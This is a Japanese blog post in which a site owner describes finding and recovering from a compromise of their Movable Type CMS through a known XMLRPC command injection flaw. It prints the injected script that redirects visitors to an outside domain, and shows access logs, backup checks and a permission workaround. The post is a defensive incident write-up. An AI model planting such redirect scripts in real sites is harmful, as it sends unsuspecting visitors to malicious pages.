このブログを運営して10年ほどですが、初めてサーバのコンテンツが書き換えられました。
書き換えられたのは管理用のコンテンツだけだったので、特に影響はありませんでした。
現在は日次のバックアップからデータをリストアして復旧させています。
そしたら、ESETさんが脅威を検出という不穏な画面を表示。
よく見ると、変なページにリダイレクトされているようです。
書き換えられた時刻は4/2 3:14のようです。
secureログを見てもログインの形跡はありませんでしたが、Apacheのログには該当する時刻に不信なログがありました。
時刻的にはピッタリで、4/1 5:31から何度かアクセスがあるようです。
調べてみると、mt-xmlrpc.cgiには脆弱性情報がありました。(ちゃんと追いかけてないのがバレバレ...。)
JVN#41119755 Movable Type の XMLRPC API における OS コマンドインジェクションの脆弱性 緊急
OSコマンドインジェクションの攻撃を受けたようです。
mt-xmlrpc.cgiはapacheユーザーで動くので、書き換えられたのはapacheユーザーに権限があるものだけでした。
どうやら.htmlファイルや.phpファイルを検索して、中身を置き換えるコードを実行されたみたいです。
恐らく最初の攻撃は4/1 5:31なので、4/1 1:00に取得したバックアップに戻せばよさそうです。
書き換えられる前のコンテンツが含まれていたので、このバックアップから戻すことにしました。
脆弱性情報に記載されている対策はバージョンアップですが、今回はワークアラウンドを実施しました。
とりあえず、mt-xmlrpc.cgiの実行権限を外して、外部から実行されないようにしました。
インターネット公開サーバでバージョンアップをサボってはいけませんね。
サボるとしても脆弱性情報はしっかりと抑えておかなければなりません...。
書き換えられたのは管理用のコンテンツだけだったので、特に影響はありませんでした。
現在は日次のバックアップからデータをリストアして復旧させています。
経緯
いつも通りに釣りブログの更新をしようと、管理ページを開きました。そしたら、ESETさんが脅威を検出という不穏な画面を表示。
よく見ると、変なページにリダイレクトされているようです。
調査
サーバに入って、コンテンツを確認すると、中身が書き換えられていました。[root@www01 cms]# cat index.html <script>document.location.href="https://absolutelytowns.com/et3vdt36iy?key=b6a50f1c0af90b7aab7bf6ff89daf0f1";</script>
書き換えられた時刻は4/2 3:14のようです。
[root@www01 cms]# ls -la (省略) -rw-rw-r-- 1 apache apache 118 4月 2 03:14 index.html (省略)
secureログを見てもログインの形跡はありませんでしたが、Apacheのログには該当する時刻に不信なログがありました。
時刻的にはピッタリで、4/1 5:31から何度かアクセスがあるようです。
[root@www01 httpd]# cat * | grep /cms/mt-xmlrpc.cgi 107.189.10.254 - - [02/Apr/2023:03:14:25 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2848 "-" "Mozilla/5.0" 107.189.10.254 - - [01/Apr/2023:05:31:17 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 1385 "-" "Mozilla/5.0" 107.189.10.254 - - [01/Apr/2023:05:31:17 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 1382 "-" "Mozilla/5.0" 107.189.10.254 - - [01/Apr/2023:06:39:05 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2845 "-" "Mozilla/5.0" 107.189.10.254 - - [01/Apr/2023:09:16:30 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2848 "-" "Mozilla/5.0" 107.189.10.254 - - [01/Apr/2023:20:51:01 +0900] "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 200 2848 "-" "Mozilla/5.0" [02/Apr/2023:03:14:25 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2848 [01/Apr/2023:05:31:17 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 1385 [01/Apr/2023:05:31:17 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 1382 [01/Apr/2023:06:39:05 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2845 [01/Apr/2023:09:16:30 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2848 [01/Apr/2023:20:51:01 +0900] 107.189.10.254 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cms/mt-xmlrpc.cgi HTTP/1.1" 2848
調べてみると、mt-xmlrpc.cgiには脆弱性情報がありました。(ちゃんと追いかけてないのがバレバレ...。)
JVN#41119755 Movable Type の XMLRPC API における OS コマンドインジェクションの脆弱性 緊急
OSコマンドインジェクションの攻撃を受けたようです。
mt-xmlrpc.cgiはapacheユーザーで動くので、書き換えられたのはapacheユーザーに権限があるものだけでした。
どうやら.htmlファイルや.phpファイルを検索して、中身を置き換えるコードを実行されたみたいです。
対応
バックアップからデータを復元するため、改ざんされる前のバックアップを確認します。恐らく最初の攻撃は4/1 5:31なので、4/1 1:00に取得したバックアップに戻せばよさそうです。
[root@www01 httpd]# tar tvzf /opt/op/backup/www01.s1ncha.com_backup_wwwdata_20230402.tar.gz | grep /cms/index.html -rw-rw-r-- apache/apache 118 2023-04-01 20:51 var/www/cms/index.html [root@www01 httpd]# tar tvzf /opt/op/backup/www01.s1ncha.com_backup_wwwdata_20230401.tar.gz | grep /cms/index.html -rw-rw-r-- apache/apache 8921 2014-12-16 08:20 var/www/cms/index.html
書き換えられる前のコンテンツが含まれていたので、このバックアップから戻すことにしました。
脆弱性情報に記載されている対策はバージョンアップですが、今回はワークアラウンドを実施しました。
とりあえず、mt-xmlrpc.cgiの実行権限を外して、外部から実行されないようにしました。
[root@www01 cms]# chmod -x mt-xmlrpc.cgi
インターネット公開サーバでバージョンアップをサボってはいけませんね。
サボるとしても脆弱性情報はしっかりと抑えておかなければなりません...。